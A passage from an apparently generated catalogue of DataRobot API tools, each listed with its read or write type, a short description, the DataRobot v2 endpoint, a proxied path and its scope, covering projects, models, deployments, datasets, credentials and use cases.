/api/v2/insights/featureImpact/models/{entityId}/ GET /api/v1/datarobot/api/v2/insights/featureImpact/models/{entityId}. Scopes: api. datarobot_get_insights_lift_chart_models_by_entityid (read) — Get a computed lift chart for a model via GET /api/v2/insights/liftChart/models/{entityId}/ GET /api/v1/datarobot/api/v2/insights/liftChart/models/{entityId}. Scopes: api. datarobot_get_insights_roc_curve_models_by_entityid (read) — Get a computed ROC curve for a model via GET /api/v2/insights/rocCurve/models/{entityId}/ GET /api/v1/datarobot/api/v2/insights/rocCurve/models/{entityId}. Scopes: api. datarobot_get_insights_shap_impact_models_by_entityid (read) — Get computed SHAP impact for a model via GET /api/v2/insights/shapImpact/models/{entityId}/ GET /api/v1/datarobot/api/v2/insights/shapImpact/models/{entityId}. Scopes: api. datarobot_get_model_packages (read) — List model packages via GET /api/v2/modelPackages/ GET /api/v1/datarobot/api/v2/modelPackages. Scopes: api. datarobot_get_model_packages_by_modelpackageid (read) — Get model package via GET /api/v2/modelPackages/{modelPackageId}/ GET /api/v1/datarobot/api/v2/modelPackages/{modelPackageId}. Scopes: api. datarobot_get_organizations (read) — List organizations via GET /api/v2/organizations/ GET /api/v1/datarobot/api/v2/organizations. Scopes: api. datarobot_get_prediction_servers (read) — List prediction servers via GET /api/v2/predictionServers/ GET /api/v1/datarobot/api/v2/predictionServers. Scopes: api. datarobot_get_projects (read) — List projects via GET /api/v2/projects/ GET /api/v1/datarobot/api/v2/projects. Scopes: api. datarobot_get_projects_by_projectid (read) — Get project via GET /api/v2/projects/{projectId}/ GET /api/v1/datarobot/api/v2/projects/{projectId}. Scopes: api. datarobot_get_projects_by_projectid_access_control (read) — Get project access control via GET /api/v2/projects/{projectId}/accessControl/ GET /api/v1/datarobot/api/v2/projects/{projectId}/accessControl. Scopes: api. datarobot_get_projects_by_projectid_blueprints (read) — List project blueprints via GET /api/v2/projects/{projectId}/blueprints/ GET /api/v1/datarobot/api/v2/projects/{projectId}/blueprints. Scopes: api. datarobot_get_projects_by_projectid_blueprints_by_blueprintid (read) — Get project blueprint via GET /api/v2/projects/{projectId}/blueprints/{blueprintId}/ GET /api/v1/datarobot/api/v2/projects/{projectId}/blueprints/{blueprintId}. Scopes: api. datarobot_get_projects_by_projectid_calendar_events (read) — List project calendar events via GET /api/v2/projects/{projectId}/calendarEvents/ GET /api/v1/datarobot/api/v2/projects/{projectId}/calendarEvents. Scopes: api. datarobot_get_projects_by_projectid_datetime_models (read) — List project datetime models via GET /api/v2/projects/{projectId}/datetimeModels/ GET /api/v1/datarobot/api/v2/projects/{projectId}/datetimeModels. Scopes: api. datarobot_get_projects_by_projectid_datetime_models_by_modelid (read) — Get project datetime model via GET /api/v2/projects/{projectId}/datetimeModels/{modelId}/ GET /api/v1/datarobot/api/v2/projects/{projectId}/datetimeModels/{modelId}. Scopes: api. datarobot_get_projects_by_projectid_datetime_partitioning (read) — Get project datetime partitioning via GET /api/v2/projects/{projectId}/datetimePartitioning/ GET /api/v1/datarobot/api/v2/projects/{projectId}/datetimePartitioning. Scopes: api. datarobot_get_projects_by_projectid_featurelists (read) — List project featurelists via GET /api/v2/projects/{projectId}/featurelists/ GET /api/v1/datarobot/api/v2/projects/{projectId}/featurelists. Scopes: api. datarobot_get_projects_by_projectid_featurelists_by_featurelistid (read) — Get project featurelist via GET /api/v2/projects/{projectId}/featurelists/{featurelistId}/ GET /api/v1/datarobot/api/v2/projects/{projectId}/featurelists/{featurelistId}. Scopes: api. datarobot_get_projects_by_projectid_features (read) — List project features via GET /api/v2/projects/{projectId}/features/ GET /api/v1/datarobot/api/v2/projects/{projectId}/features. Scopes: api. datarobot_get_projects_by_projectid_features_by_featurename (read) — Get project feature via GET /api/v2/projects/{projectId}/features/{featureName}/ GET /api/v1/datarobot/api/v2/projects/{projectId}/features/{featureName}. Scopes: api. datarobot_get_projects_by_projectid_jobs (read) — List project jobs via GET /api/v2/projects/{projectId}/jobs/ GET /api/v1/datarobot/api/v2/projects/{projectId}/jobs. Scopes: api. datarobot_get_projects_by_projectid_jobs_by_jobid (read) — Get project job via GET /api/v2/projects/{projectId}/jobs/{jobId}/ GET /api/v1/datarobot/api/v2/projects/{projectId}/jobs/{jobId}. Scopes: api. datarobot_get_projects_by_projectid_model_jobs (read) — List project model jobs via GET /api/v2/projects/{projectId}/modelJobs/ GET /api/v1/datarobot/api/v2/projects/{projectId}/modelJobs. Scopes: api. datarobot_get_projects_by_projectid_model_jobs_by_jobid (read) — Get project model job via GET /api/v2/projects/{projectId}/modelJobs/{jobId}/ GET /api/v1/datarobot/api/v2/projects/{projectId}/modelJobs/{jobId}. Scopes: api. datarobot_get_projects_by_projectid_model_records (read) — List project model records via GET /api/v2/projects/{projectId}/modelRecords/ GET /api/v1/datarobot/api/v2/projects/{projectId}/modelRecords. Scopes: api. datarobot_get_projects_by_projectid_modeling_featurelists (read) — List project modeling featurelists via GET /api/v2/projects/{projectId}/modelingFeaturelists/ GET /api/v1/datarobot/api/v2/projects/{projectId}/modelingFeaturelists. Scopes: api. datarobot_get_projects_by_projectid_modeling_featurelists_by_featurelistid (read) — Get project modeling featurelist via GET /api/v2/projects/{projectId}/modelingFeaturelists/{featurelistId}/ GET /api/v1/datarobot/api/v2/projects/{projectId}/modelingFeaturelists/{featurelistId}. Scopes: api. datarobot_get_projects_by_projectid_modeling_features (read) — List project modeling features via GET /api/v2/projects/{projectId}/modelingFeatures/ GET /api/v1/datarobot/api/v2/projects/{projectId}/modelingFeatures. Scopes: api. datarobot_get_projects_by_projectid_models (read) — List project models via GET /api/v2/projects/{projectId}/models/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid (read) — Get project model via GET /api/v2/projects/{projectId}/models/{modelId}/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_advanced_tuning_parameters (read) — List advanced tuning parameters for a model via GET /api/v2/projects/{projectId}/models/{modelId}/advancedTuning/parameters/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/advancedTuning/parameters. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_blueprint_chart (read) — Get model blueprint chart via GET /api/v2/projects/{projectId}/models/{modelId}/blueprintChart/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/blueprintChart. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_confusion_charts (read) — List model confusion charts via GET /api/v2/projects/{projectId}/models/{modelId}/confusionCharts/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/confusionCharts. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_cross_validation_scores (read) — List model cross validation scores via GET /api/v2/projects/{projectId}/models/{modelId}/crossValidationScores/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/crossValidationScores. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_feature_effects (read) — List model feature effects via GET /api/v2/projects/{projectId}/models/{modelId}/featureEffects/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/featureEffects. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_feature_impact (read) — Get model feature impact via GET /api/v2/projects/{projectId}/models/{modelId}/featureImpact/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/featureImpact. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_features (read) — List model features via GET /api/v2/projects/{projectId}/models/{modelId}/features/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/features. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_lift_chart (read) — Get model lift chart via GET /api/v2/projects/{projectId}/models/{modelId}/liftChart/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/liftChart. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_lift_chart_by_source (read) — Get a model lift chart for one data source via GET /api/v2/projects/{projectId}/models/{modelId}/liftChart/{source}/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/liftChart/{source}. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_logs (read) — List model logs via GET /api/v2/projects/{projectId}/models/{modelId}/logs/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/logs. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_missing_report (read) — Get model missing report via GET /api/v2/projects/{projectId}/models/{modelId}/missingReport/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/missingReport. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_parameters (read) — List model parameters via GET /api/v2/projects/{projectId}/models/{modelId}/parameters/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/parameters. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_prediction_explanations_initialization (read) — Get model prediction explanations initialization via GET /api/v2/projects/{projectId}/models/{modelId}/predictionExplanationsInitialization/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/predictionExplanationsInitialization. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_residuals (read) — List model residuals via GET /api/v2/projects/{projectId}/models/{modelId}/residuals/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/residuals. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_roc_curve (read) — Get model roc curve via GET /api/v2/projects/{projectId}/models/{modelId}/rocCurve/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/rocCurve. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_roc_curve_by_source (read) — Get a model ROC curve for one data source via GET /api/v2/projects/{projectId}/models/{modelId}/rocCurve/{source}/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/rocCurve/{source}. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_shap_impact (read) — Get model shap impact via GET /api/v2/projects/{projectId}/models/{modelId}/shapImpact/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/shapImpact. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_supported_capabilities (read) — List model supported capabilities via GET /api/v2/projects/{projectId}/models/{modelId}/supportedCapabilities/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/supportedCapabilities. Scopes: api. datarobot_get_projects_by_projectid_models_by_modelid_word_cloud (read) — Get model word cloud via GET /api/v2/projects/{projectId}/models/{modelId}/wordCloud/ GET /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/wordCloud. Scopes: api. datarobot_get_projects_by_projectid_predict_jobs (read) — List project predict jobs via GET /api/v2/projects/{projectId}/predictJobs/ GET /api/v1/datarobot/api/v2/projects/{projectId}/predictJobs. Scopes: api. datarobot_get_projects_by_projectid_predict_jobs_by_jobid (read) — Get project predict job via GET /api/v2/projects/{projectId}/predictJobs/{jobId}/ GET /api/v1/datarobot/api/v2/projects/{projectId}/predictJobs/{jobId}. Scopes: api. datarobot_get_projects_by_projectid_prediction_datasets (read) — List project prediction datasets via GET /api/v2/projects/{projectId}/predictionDatasets/ GET /api/v1/datarobot/api/v2/projects/{projectId}/predictionDatasets. Scopes: api. datarobot_get_projects_by_projectid_prediction_datasets_by_datasetid (read) — Get project prediction dataset via GET /api/v2/projects/{projectId}/predictionDatasets/{datasetId}/ GET /api/v1/datarobot/api/v2/projects/{projectId}/predictionDatasets/{datasetId}. Scopes: api. datarobot_get_projects_by_projectid_prediction_explanations_by_predictionexplanationsid (read) — Get project prediction explanation via GET /api/v2/projects/{projectId}/predictionExplanations/{predictionExplanationsId}/ GET /api/v1/datarobot/api/v2/projects/{projectId}/predictionExplanations/{predictionExplanationsId}. Scopes: api. datarobot_get_projects_by_projectid_prediction_explanations_records (read) — List project prediction explanations records via GET /api/v2/projects/{projectId}/predictionExplanationsRecords/ GET /api/v1/datarobot/api/v2/projects/{projectId}/predictionExplanationsRecords. Scopes: api. datarobot_get_projects_by_projectid_predictions (read) — List project predictions via GET /api/v2/projects/{projectId}/predictions/ GET /api/v1/datarobot/api/v2/projects/{projectId}/predictions. Scopes: api. datarobot_get_projects_by_projectid_predictions_by_predictionid (read) — Get project prediction via GET /api/v2/projects/{projectId}/predictions/{predictionId}/ GET /api/v1/datarobot/api/v2/projects/{projectId}/predictions/{predictionId}. Scopes: api. datarobot_get_projects_by_projectid_predictions_metadata (read) — List project prediction metadata via GET /api/v2/projects/{projectId}/predictionsMetadata/ GET /api/v1/datarobot/api/v2/projects/{projectId}/predictionsMetadata. Scopes: api. datarobot_get_projects_by_projectid_recommended_models (read) — List project recommended models via GET /api/v2/projects/{projectId}/recommendedModels/ GET /api/v1/datarobot/api/v2/projects/{projectId}/recommendedModels. Scopes: api. datarobot_get_projects_by_projectid_recommended_models_recommended_model (read) — Get the recommended model via GET /api/v2/projects/{projectId}/recommendedModels/recommendedModel/ GET /api/v1/datarobot/api/v2/projects/{projectId}/recommendedModels/recommendedModel. Scopes: api. datarobot_get_projects_by_projectid_status (read) — Get project status via GET /api/v2/projects/{projectId}/status/ GET /api/v1/datarobot/api/v2/projects/{projectId}/status. Scopes: api. datarobot_get_projects_by_projectid_training_predictions (read) — List project training predictions via GET /api/v2/projects/{projectId}/trainingPredictions/ GET /api/v1/datarobot/api/v2/projects/{projectId}/trainingPredictions. Scopes: api. datarobot_get_registered_models (read) — List registered models via GET /api/v2/registeredModels/ GET /api/v1/datarobot/api/v2/registeredModels. Scopes: api. datarobot_get_registered_models_by_registeredmodelid (read) — Get registered model via GET /api/v2/registeredModels/{registeredModelId}/ GET /api/v1/datarobot/api/v2/registeredModels/{registeredModelId}. Scopes: api. datarobot_get_registered_models_by_registeredmodelid_deployments (read) — List registered model deployments via GET /api/v2/registeredModels/{registeredModelId}/deployments/ GET /api/v1/datarobot/api/v2/registeredModels/{registeredModelId}/deployments. Scopes: api. datarobot_get_registered_models_by_registeredmodelid_shared_roles (read) — List registered model shared roles via GET /api/v2/registeredModels/{registeredModelId}/sharedRoles/ GET /api/v1/datarobot/api/v2/registeredModels/{registeredModelId}/sharedRoles. Scopes: api. datarobot_get_registered_models_by_registeredmodelid_versions (read) — List registered model versions via GET /api/v2/registeredModels/{registeredModelId}/versions/ GET /api/v1/datarobot/api/v2/registeredModels/{registeredModelId}/versions. Scopes: api. datarobot_get_registered_models_by_registeredmodelid_versions_by_versionid (read) — Get registered model version via GET /api/v2/registeredModels/{registeredModelId}/versions/{versionId}/ GET /api/v1/datarobot/api/v2/registeredModels/{registeredModelId}/versions/{versionId}. Scopes: api. datarobot_get_shared_roles_by_entitytype_by_entityid (read) — Get shared role via GET /api/v2/sharedRoles/{entityType}/{entityId}/ GET /api/v1/datarobot/api/v2/sharedRoles/{entityType}/{entityId}. Scopes: api. datarobot_get_status (read) — List asynchronous status records via GET /api/v2/status/ GET /api/v1/datarobot/api/v2/status. Scopes: api. datarobot_get_status_by_statusid (read) — Get an asynchronous status record via GET /api/v2/status/{statusId}/ GET /api/v1/datarobot/api/v2/status/{statusId}. Scopes: api. datarobot_get_use_cases (read) — List use cases via GET /api/v2/useCases/ GET /api/v1/datarobot/api/v2/useCases. Scopes: api. datarobot_get_use_cases_by_usecaseid (read) — Get use case via GET /api/v2/useCases/{useCaseId}/ GET /api/v1/datarobot/api/v2/useCases/{useCaseId}. Scopes: api. datarobot_get_use_cases_by_usecaseid_datasets (read) — List use case datasets via GET /api/v2/useCases/{useCaseId}/datasets/ GET /api/v1/datarobot/api/v2/useCases/{useCaseId}/datasets. Scopes: api. datarobot_get_use_cases_by_usecaseid_deployments (read) — List use case deployments via GET /api/v2/useCases/{useCaseId}/deployments/ GET /api/v1/datarobot/api/v2/useCases/{useCaseId}/deployments. Scopes: api. datarobot_get_use_cases_by_usecaseid_projects (read) — List use case projects via GET /api/v2/useCases/{useCaseId}/projects/ GET /api/v1/datarobot/api/v2/useCases/{useCaseId}/projects. Scopes: api. datarobot_get_use_cases_by_usecaseid_registered_models (read) — List use case registered models via GET /api/v2/useCases/{useCaseId}/registeredModels/ GET /api/v1/datarobot/api/v2/useCases/{useCaseId}/registeredModels. Scopes: api. datarobot_get_use_cases_by_usecaseid_resources (read) — List use case resources via GET /api/v2/useCases/{useCaseId}/resources/ GET /api/v1/datarobot/api/v2/useCases/{useCaseId}/resources. Scopes: api. datarobot_get_use_cases_by_usecaseid_shared_roles (read) — List use case shared roles via GET /api/v2/useCases/{useCaseId}/sharedRoles/ GET /api/v1/datarobot/api/v2/useCases/{useCaseId}/sharedRoles. Scopes: api. datarobot_get_user_blueprints (read) — List user blueprints via GET /api/v2/userBlueprints/ GET /api/v1/datarobot/api/v2/userBlueprints. Scopes: api. datarobot_get_user_blueprints_by_userblueprintid (read) — Get user blueprint via GET /api/v2/userBlueprints/{userBlueprintId}/ GET /api/v1/datarobot/api/v2/userBlueprints/{userBlueprintId}. Scopes: api. datarobot_get_users (read) — List users via GET /api/v2/users/ GET /api/v1/datarobot/api/v2/users. Scopes: api. datarobot_get_users_by_userid (read) — Get user via GET /api/v2/users/{userId}/ GET /api/v1/datarobot/api/v2/users/{userId}. Scopes: api. datarobot_get_version (read) — Get the DataRobot API version via GET /api/v2/version/ GET /api/v1/datarobot/api/v2/version. Scopes: api. datarobot_patch_batch_prediction_job_definitions_by_jobdefinitionid (write) — Update batch prediction job definition via PATCH /api/v2/batchPredictionJobDefinitions/{jobDefinitionId}/ PATCH /api/v1/datarobot/api/v2/batchPredictionJobDefinitions/{jobDefinitionId}. Scopes: api. datarobot_patch_batch_predictions_by_predictionjobid (write) — Update batch prediction via PATCH /api/v2/batchPredictions/{predictionJobId}/ PATCH /api/v1/datarobot/api/v2/batchPredictions/{predictionJobId}. Scopes: api. datarobot_patch_calendars_by_calendarid (write) — Update calendar via PATCH /api/v2/calendars/{calendarId}/ PATCH /api/v1/datarobot/api/v2/calendars/{calendarId}. Scopes: api. datarobot_patch_comments_by_commentid (write) — Update comment via PATCH /api/v2/comments/{commentId}/ PATCH /api/v1/datarobot/api/v2/comments/{commentId}. Scopes: api. datarobot_patch_credentials_by_credentialid (write) — Update credential via PATCH /api/v2/credentials/{credentialId}/ PATCH /api/v1/datarobot/api/v2/credentials/{credentialId}. Scopes: api. datarobot_patch_custom_jobs_by_customjobid (write) — Update custom job via PATCH /api/v2/customJobs/{customJobId}/ PATCH /api/v1/datarobot/api/v2/customJobs/{customJobId}. Scopes: api. datarobot_patch_custom_models_by_custommodelid (write) — Update custom model via PATCH /api/v2/customModels/{customModelId}/ PATCH /api/v1/datarobot/api/v2/customModels/{customModelId}. Scopes: api. datarobot_patch_custom_models_by_custommodelid_versions_by_custommodelversionid (write) — Update custom model version via PATCH /api/v2/customModels/{customModelId}/versions/{customModelVersionId}/ PATCH /api/v1/datarobot/api/v2/customModels/{customModelId}/versions/{customModelVersionId}. Scopes: api. datarobot_patch_custom_tasks_by_customtaskid (write) — Update custom task via PATCH /api/v2/customTasks/{customTaskId}/ PATCH /api/v1/datarobot/api/v2/customTasks/{customTaskId}. Scopes: api. datarobot_patch_datasets (write) — Bulk update datasets via PATCH /api/v2/datasets/ PATCH /api/v1/datarobot/api/v2/datasets. Scopes: api. datarobot_patch_datasets_by_datasetid (write) — Update dataset via PATCH /api/v2/datasets/{datasetId}/ PATCH /api/v1/datarobot/api/v2/datasets/{datasetId}. Scopes: api. datarobot_patch_datasets_by_datasetid_shared_roles (write) — Update dataset shared roles via PATCH /api/v2/datasets/{datasetId}/sharedRoles/ PATCH /api/v1/datarobot/api/v2/datasets/{datasetId}/sharedRoles. Scopes: api. datarobot_patch_deleted_projects_by_projectid (write) — Restore a deleted project via PATCH /api/v2/deletedProjects/{projectId}/ PATCH /api/v1/datarobot/api/v2/deletedProjects/{projectId}. Scopes: api. datarobot_patch_deployments_by_deploymentid (write) — Update deployment via PATCH /api/v2/deployments/{deploymentId}/ PATCH /api/v1/datarobot/api/v2/deployments/{deploymentId}. Scopes: api. datarobot_patch_deployments_by_deploymentid_challengers_by_challengerid (write) — Update deployment challenger via PATCH /api/v2/deployments/{deploymentId}/challengers/{challengerId}/ PATCH /api/v1/datarobot/api/v2/deployments/{deploymentId}/challengers/{challengerId}. Scopes: api. datarobot_patch_deployments_by_deploymentid_custom_metrics_by_custommetricid (write) — Update deployment custom metric via PATCH /api/v2/deployments/{deploymentId}/customMetrics/{customMetricId}/ PATCH /api/v1/datarobot/api/v2/deployments/{deploymentId}/customMetrics/{customMetricId}. Scopes: api. datarobot_patch_deployments_by_deploymentid_health_settings (write) — Update deployment health settings via PATCH /api/v2/deployments/{deploymentId}/healthSettings/ PATCH /api/v1/datarobot/api/v2/deployments/{deploymentId}/healthSettings. Scopes: api. datarobot_patch_deployments_by_deploymentid_model (write) — Replace a deployment's model via PATCH /api/v2/deployments/{deploymentId}/model/ PATCH /api/v1/datarobot/api/v2/deployments/{deploymentId}/model. Scopes: api. datarobot_patch_deployments_by_deploymentid_retraining_policies_by_retrainingpolicyid (write) — Update deployment retraining policy via PATCH /api/v2/deployments/{deploymentId}/retrainingPolicies/{retrainingPolicyId}/ PATCH /api/v1/datarobot/api/v2/deployments/{deploymentId}/retrainingPolicies/{retrainingPolicyId}. Scopes: api. datarobot_patch_deployments_by_deploymentid_settings (write) — Update deployment settings via PATCH /api/v2/deployments/{deploymentId}/settings/ PATCH /api/v1/datarobot/api/v2/deployments/{deploymentId}/settings. Scopes: api. datarobot_patch_deployments_by_deploymentid_shared_roles (write) — Update deployment shared roles via PATCH /api/v2/deployments/{deploymentId}/sharedRoles/ PATCH /api/v1/datarobot/api/v2/deployments/{deploymentId}/sharedRoles. Scopes: api. datarobot_patch_deployments_by_deploymentid_status (write) — Activate or deactivate a deployment via PATCH /api/v2/deployments/{deploymentId}/status/ PATCH /api/v1/datarobot/api/v2/deployments/{deploymentId}/status. Scopes: api. datarobot_patch_entity_tags_by_entitytagid (write) — Update entity tag via PATCH /api/v2/entityTags/{entityTagId}/ PATCH /api/v1/datarobot/api/v2/entityTags/{entityTagId}. Scopes: api. datarobot_patch_execution_environments_by_environmentid (write) — Update execution environment via PATCH /api/v2/executionEnvironments/{environmentId}/ PATCH /api/v1/datarobot/api/v2/executionEnvironments/{environmentId}. Scopes: api. datarobot_patch_external_data_sources_by_datasourceid (write) — Update external data source via PATCH /api/v2/externalDataSources/{dataSourceId}/ PATCH /api/v1/datarobot/api/v2/externalDataSources/{dataSourceId}. Scopes: api. datarobot_patch_external_data_stores_by_datastoreid (write) — Update external data store via PATCH /api/v2/externalDataStores/{dataStoreId}/ PATCH /api/v1/datarobot/api/v2/externalDataStores/{dataStoreId}. Scopes: api. datarobot_patch_genai_llm_blueprints_by_llmblueprintid (write) — Update genai llm blueprint via PATCH /api/v2/genai/llmBlueprints/{llmBlueprintId}/ PATCH /api/v1/datarobot/api/v2/genai/llmBlueprints/{llmBlueprintId}. Scopes: api. datarobot_patch_genai_playgrounds_by_playgroundid (write) — Update genai playground via PATCH /api/v2/genai/playgrounds/{playgroundId}/ PATCH /api/v1/datarobot/api/v2/genai/playgrounds/{playgroundId}. Scopes: api. datarobot_patch_genai_vector_databases_by_vectordatabaseid (write) — Update genai vector database via PATCH /api/v2/genai/vectorDatabases/{vectorDatabaseId}/ PATCH /api/v1/datarobot/api/v2/genai/vectorDatabases/{vectorDatabaseId}. Scopes: api. datarobot_patch_groups_by_groupid (write) — Update group via PATCH /api/v2/groups/{groupId}/ PATCH /api/v1/datarobot/api/v2/groups/{groupId}. Scopes: api. datarobot_patch_projects_by_projectid (write) — Update project via PATCH /api/v2/projects/{projectId}/ PATCH /api/v1/datarobot/api/v2/projects/{projectId}. Scopes: api. datarobot_patch_projects_by_projectid_access_control (write) — Update project access control via PATCH /api/v2/projects/{projectId}/accessControl/ PATCH /api/v1/datarobot/api/v2/projects/{projectId}/accessControl. Scopes: api. datarobot_patch_projects_by_projectid_aim (write) — Set project target and start autopilot via PATCH /api/v2/projects/{projectId}/aim/ PATCH /api/v1/datarobot/api/v2/projects/{projectId}/aim. Scopes: api. datarobot_patch_projects_by_projectid_featurelists_by_featurelistid (write) — Update project featurelist via PATCH /api/v2/projects/{projectId}/featurelists/{featurelistId}/ PATCH /api/v1/datarobot/api/v2/projects/{projectId}/featurelists/{featurelistId}. Scopes: api. datarobot_patch_projects_by_projectid_modeling_featurelists_by_featurelistid (write) — Update project modeling featurelist via PATCH /api/v2/projects/{projectId}/modelingFeaturelists/{featurelistId}/ PATCH /api/v1/datarobot/api/v2/projects/{projectId}/modelingFeaturelists/{featurelistId}. Scopes: api. datarobot_patch_projects_by_projectid_models_by_modelid (write) — Update project model via PATCH /api/v2/projects/{projectId}/models/{modelId}/ PATCH /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}. Scopes: api. datarobot_patch_registered_models_by_registeredmodelid (write) — Update registered model via PATCH /api/v2/registeredModels/{registeredModelId}/ PATCH /api/v1/datarobot/api/v2/registeredModels/{registeredModelId}. Scopes: api. datarobot_patch_registered_models_by_registeredmodelid_shared_roles (write) — Update registered model shared roles via PATCH /api/v2/registeredModels/{registeredModelId}/sharedRoles/ PATCH /api/v1/datarobot/api/v2/registeredModels/{registeredModelId}/sharedRoles. Scopes: api. datarobot_patch_shared_roles_by_entitytype_by_entityid (write) — Update shared role via PATCH /api/v2/sharedRoles/{entityType}/{entityId}/ PATCH /api/v1/datarobot/api/v2/sharedRoles/{entityType}/{entityId}. Scopes: api. datarobot_patch_use_cases_by_usecaseid (write) — Update use case via PATCH /api/v2/useCases/{useCaseId}/ PATCH /api/v1/datarobot/api/v2/useCases/{useCaseId}. Scopes: api. datarobot_patch_use_cases_by_usecaseid_by_referencecollectiontype_by_entityid (write) — Move an entity between use cases via PATCH /api/v2/useCases/{useCaseId}/{referenceCollectionType}/{entityId}/ PATCH /api/v1/datarobot/api/v2/useCases/{useCaseId}/{referenceCollectionType}/{entityId}. Scopes: api. datarobot_patch_use_cases_by_usecaseid_shared_roles (write) — Update use case shared roles via PATCH /api/v2/useCases/{useCaseId}/sharedRoles/ PATCH /api/v1/datarobot/api/v2/useCases/{useCaseId}/sharedRoles. Scopes: api. datarobot_patch_user_blueprints_by_userblueprintid (write) — Update user blueprint via PATCH /api/v2/userBlueprints/{userBlueprintId}/ PATCH /api/v1/datarobot/api/v2/userBlueprints/{userBlueprintId}. Scopes: api. datarobot_post_batch_prediction_job_definitions (write) — Create batch prediction job definition via POST /api/v2/batchPredictionJobDefinitions/ POST /api/v1/datarobot/api/v2/batchPredictionJobDefinitions. Scopes: api. datarobot_post_batch_predictions (write) — Start a batch prediction job via POST /api/v2/batchPredictions/ POST /api/v1/datarobot/api/v2/batchPredictions. Scopes: api. datarobot_post_batch_predictions_from_job_definition (write) — Start a batch prediction job from a definition via POST /api/v2/batchPredictions/fromJobDefinition/ POST /api/v1/datarobot/api/v2/batchPredictions/fromJobDefinition. Scopes: api. datarobot_post_calendars_from_country_code (write) — Create a calendar from a country code via POST /api/v2/calendars/fromCountryCode/ POST /api/v1/datarobot/api/v2/calendars/fromCountryCode. Scopes: api. datarobot_post_calendars_from_dataset (write) — Create a calendar from a dataset via POST /api/v2/calendars/fromDataset/ POST /api/v1/datarobot/api/v2/calendars/fromDataset. Scopes: api. datarobot_post_comments (write) — Create comment via POST /api/v2/comments/ POST /api/v1/datarobot/api/v2/comments. Scopes: api. datarobot_post_credentials (write) — Create credential via POST /api/v2/credentials/ POST /api/v1/datarobot/api/v2/credentials. Scopes: api. datarobot_post_custom_jobs (write) — Create custom job via POST /api/v2/customJobs/ POST /api/v1/datarobot/api/v2/customJobs. Scopes: api. datarobot_post_custom_jobs_by_customjobid_runs (write) — Start a custom job run via POST /api/v2/customJobs/{customJobId}/runs/ POST /api/v1/datarobot/api/v2/customJobs/{customJobId}/runs. Scopes: api. datarobot_post_custom_models (write) — Create custom model via POST /api/v2/customModels/ POST /api/v1/datarobot/api/v2/customModels. Scopes: api. datarobot_post_custom_models_by_custommodelid_versions_by_custommodelversionid_dependency_build (write) — Start a custom model dependency build via POST /api/v2/customModels/{customModelId}/versions/{customModelVersionId}/dependencyBuild/ POST /api/v1/datarobot/api/v2/customModels/{customModelId}/versions/{customModelVersionId}/dependencyBuild. Scopes: api. datarobot_post_custom_models_by_custommodelid_versions_from_repository (write) — Create a custom model version from a repository via POST /api/v2/customModels/{customModelId}/versions/fromRepository/ POST /api/v1/datarobot/api/v2/customModels/{customModelId}/versions/fromRepository. Scopes: api. datarobot_post_custom_models_from_custom_model (write) — Copy a custom model via POST /api/v2/customModels/fromCustomModel/ POST /api/v1/datarobot/api/v2/customModels/fromCustomModel. Scopes: api. datarobot_post_custom_tasks (write) — Create custom task via POST /api/v2/customTasks/ POST /api/v1/datarobot/api/v2/customTasks. Scopes: api. datarobot_post_datasets_by_datasetid_featurelists (write) — Create dataset featurelist via POST /api/v2/datasets/{datasetId}/featurelists/ POST /api/v1/datarobot/api/v2/datasets/{datasetId}/featurelists. Scopes: api. datarobot_post_datasets_by_datasetid_refresh_jobs (write) — Create dataset refresh job via POST /api/v2/datasets/{datasetId}/refreshJobs/ POST /api/v1/datarobot/api/v2/datasets/{datasetId}/refreshJobs. Scopes: api. datarobot_post_datasets_by_datasetid_versions_from_url (write) — Create a dataset version from a URL via POST /api/v2/datasets/{datasetId}/versions/fromURL/ POST /api/v1/datarobot/api/v2/datasets/{datasetId}/versions/fromURL. Scopes: api. datarobot_post_datasets_from_data_source (write) — Create a dataset from a data source via POST /api/v2/datasets/fromDataSource/ POST /api/v1/datarobot/api/v2/datasets/fromDataSource. Scopes: api. datarobot_post_datasets_from_recipe (write) — Create a dataset from a recipe via POST /api/v2/datasets/fromRecipe/ POST /api/v1/datarobot/api/v2/datasets/fromRecipe. Scopes: api. 